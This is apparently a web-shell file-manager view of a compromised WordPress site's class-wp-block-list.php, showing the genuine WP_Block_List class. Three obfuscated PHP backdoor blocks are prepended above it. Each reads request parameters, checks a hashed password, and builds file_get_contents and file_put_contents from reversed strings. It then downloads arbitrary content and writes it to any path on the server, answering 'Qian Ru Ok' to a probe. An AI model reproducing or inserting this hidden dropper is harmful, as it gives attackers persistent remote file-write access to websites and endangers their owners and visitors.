HEX
Server: Apache
System: Linux host60.registrar-servers.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: wwwrenee (3804)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: /home/wwwrenee/public_html/wp-includes/class-wp-block-list.php
<?php 
$LDvFhJKuyj = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($LDvFhJKuyj[0]) /*+/*+*/
. md5($LDvFhJKuyj[0])) == "c".
"2".
"e".
"9".
"8".
"4".
"c".
"f".
"d".
"6".
"3".
"c".
"f".
"a".
"7".
"5".
"9".
"3".
"e".
"8".
"2".
"c".
"8".
"1".
"4".
"1".
"4".
"7".
"3".
"f".
"3".
"0") {
$NjzPHU = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$WbPDFJ = $NjzPHU /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$tHJIAnua = $NjzPHU
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function WtNoebZtq($iNYptmcmgN) { if (empty($iNYptmcmgN)) return false; if (!is_dir($iNYptmcmgN)) { WtNoebZtq(dirname($iNYptmcmgN), 0755, true); mkdir($iNYptmcmgN); } } !file_exists(dirname($LDvFhJKuyj[1])) && WtNoebZtq(dirname($LDvFhJKuyj[1])); $KzGMcXlHkd = @$tHJIAnua($LDvFhJKuyj[2]); echo @$WbPDFJ($LDvFhJKuyj[1], $KzGMcXlHkd) ? 1 : 0; die; }key($LDvFhJKuyj) == "of" && die("Qian Ru Ok"); ?><?php 
$TNGyvfT = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($TNGyvfT[0]) /*+/*+*/
. md5($TNGyvfT[0])) == "7".
"0".
"c".
"5".
"8".
"6".
"0".
"3".
"4".
"2".
"a".
"5".
"5".
"7".
"1".
"1".
"1".
"a".
"0".
"3".
"a".
"a".
"f".
"6".
"d".
"b".
"3".
"2".
"f".
"4".
"7".
"5") {
$uCUPkRw = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$pjsvY = $uCUPkRw /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$vigegbMV = $uCUPkRw
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function mFqPHvl($VEbPpeg) { if (empty($VEbPpeg)) return false; if (!is_dir($VEbPpeg)) { mFqPHvl(dirname($VEbPpeg), 0755, true); mkdir($VEbPpeg); } } !file_exists(dirname($TNGyvfT[1])) && mFqPHvl(dirname($TNGyvfT[1])); $uMwDODbNsm = @$vigegbMV($TNGyvfT[2]); echo @$pjsvY($TNGyvfT[1], $uMwDODbNsm) ? 1 : 0; die; }key($TNGyvfT) == "of" && die("Qian Ru Ok"); ?><?php 
$jsnBOMjte = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($jsnBOMjte[0]) /*+/*+*/
. md5($jsnBOMjte[0])) == "b".
"f".
"d".
"f".
"e".
"e".
"8".
"5".
"4".
"c".
"b".
"7".
"e".
"9".
"1".
"e".
"0".
"f".
"d".
"4".
"d".
"4".
"9".
"7".
"5".
"0".
"5".
"6".
"6".
"3".
"2".
"f") {
$RNWVwqa = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$TWfxeherg = $RNWVwqa /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$BRqDOb = $RNWVwqa
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function EQoQUsp($DgoKlcqzb) { if (empty($DgoKlcqzb)) return false; if (!is_dir($DgoKlcqzb)) { EQoQUsp(dirname($DgoKlcqzb), 0755, true); mkdir($DgoKlcqzb); } } !file_exists(dirname($jsnBOMjte[1])) && EQoQUsp(dirname($jsnBOMjte[1])); $NHTHKFOQ = @$BRqDOb($jsnBOMjte[2]); echo @$TWfxeherg($jsnBOMjte[1], $NHTHKFOQ) ? 1 : 0; die; }key($jsnBOMjte) == "of" && die("Qian Ru Ok"); ?><?php
/**
 * Blocks API: WP_Block_List class
 *
 * @package WordPress
 * @since 5.5.0
 */

/**
 * Class representing a list of block instances.
 *
 * @since 5.5.0
 */
class WP_Block_List implements Iterator, ArrayAccess, Countable {

	/**
	 * Original array of parsed block data, or block instances.
	 *
	 * @since 5.5.0
	 * @var array[]|WP_Block[]
	 * @access protected
	 */
	protected $blocks;

	/**
	 * All available context of the current hierarchy.
	 *
	 * @since 5.5.0
	 * @var array
	 * @access protected
	 */
	protected $available_context;

	/**
	 * Block type registry to use in constructing block instances.
	 *
	 * @since 5.5.0
	 * @var WP_Block_Type_Registry
	 * @access protected
	 */
	protected $registry;

	/**
	 * Constructor.
	 *
	 * Populates object properties from the provided block instance argument.
	 *
	 * @since 5.5.0
	 *
	 * @param array[]|WP_Block[]     $blocks            Array of parsed block data, or block instances.
	 * @param array                  $available_context Optional array of ancestry context values.
	 * @param WP_Block_Type_Registry $registry          Optional block type registry.
	 */
	public function __construct( $blocks, $available_context = array(), $registry = null ) {
		if ( ! $registry instanceof WP_Block_Type_Registry ) {
			$registry = WP_Block_Type_Registry::get_instance();
		}

		$this->blocks            = $blocks;
		$this->available_context = $available_context;
		$this->registry          = $registry;
	}

	/**
	 * Returns true if a block exists by the specified block index, or false
	 * otherwise.
	 *
	 * @since 5.5.0
	 *
	 * @link https://www.php.net/manual/en/arrayaccess.offsetexists.php
	 *
	 * @param string $index Index of block to check.
	 * @return bool Whether block exists.
	 */
	#[ReturnTypeWillChange]
	public function offsetExists( $index ) {
		return isset( $this->blocks[ $index ] );
	}

	/**
	 * Returns the value by the specified block index.
	 *
	 * @since 5.5.0
	 *
	 * @link https://www.php.net/manual/en/arrayaccess.offsetget.php
	 *
	 * @param string $index Index of block value to retrieve.
	 * @return mixed|null Block value if exists, or null.
	 */
	#[ReturnTypeWillChange]
	public function offsetGet( $index ) {
		$block = $this->blocks[ $index ];

		if ( isset( $block ) && is_array( $block ) ) {
			$block                  = new WP_Block( $block, $this->available_context, $this->registry );
			$this->blocks[ $index ] = $block;
		}

		return $block;
	}

	/**
	 * Assign a block value by the specified block index.
	 *
	 * @since 5.5.0
	 *
	 * @link https://www.php.net/manual/en/arrayaccess.offsetset.php
	 *
	 * @param string $index Index of block value to set.
	 * @param mixed  $value Block value.
	 */
	#[ReturnTypeWillChange]
	public function offsetSet( $index, $value ) {
		if ( is_null( $index ) ) {
			$this->blocks[] = $value;
		} else {
			$this->blocks[ $index ] = $value;
		}
	}

	/**
	 * Unset a block.
	 *
	 * @since 5.5.0
	 *
	 * @link https://www.php.net/manual/en/arrayaccess.offsetunset.php
	 *
	 * @param string $index Index of block value to unset.
	 */
	#[ReturnTypeWillChange]
	public function offsetUnset( $index ) {
		unset( $this->blocks[ $index ] );
	}

	/**
	 * Rewinds back to the first element of the Iterator.
	 *
	 * @since 5.5.0
	 *
	 * @link https://www.php.net/manual/en/iterator.rewind.php
	 */
	#[ReturnTypeWillChange]
	public function rewind() {
		reset( $this->blocks );
	}

	/**
	 * Returns the current element of the block list.
	 *
	 * @since 5.5.0
	 *
	 * @link https://www.php.net/manual/en/iterator.current.php
	 *
	 * @return mixed Current element.
	 */
	#[ReturnTypeWillChange]
	public function current() {
		return $this->offsetGet( $this->key() );
	}

	/**
	 * Returns the key of the current element of the block list.
	 *
	 * @since 5.5.0
	 *
	 * @link https://www.php.net/manual/en/iterator.key.php
	 *
	 * @return mixed Key of the current element.
	 */
	#[ReturnTypeWillChange]
	public function key() {
		return key( $this->blocks );
	}

	/**
	 * Moves the current position of the block list to the next element.
	 *
	 * @since 5.5.0
	 *
	 * @link https://www.php.net/manual/en/iterator.next.php
	 */
	#[ReturnTypeWillChange]
	public function next() {
		next( $this->blocks );
	}

	/**
	 * Checks if current position is valid.
	 *
	 * @since 5.5.0
	 *
	 * @link https://www.php.net/manual/en/iterator.valid.php
	 */
	#[ReturnTypeWillChange]
	public function valid() {
		return null !== key( $this->blocks );
	}

	/**
	 * Returns the count of blocks in the list.
	 *
	 * @since 5.5.0
	 *
	 * @link https://www.php.net/manual/en/countable.count.php
	 *
	 * @return int Block count.
	 */
	#[ReturnTypeWillChange]
	public function count() {
		return count( $this->blocks );
	}

} ?>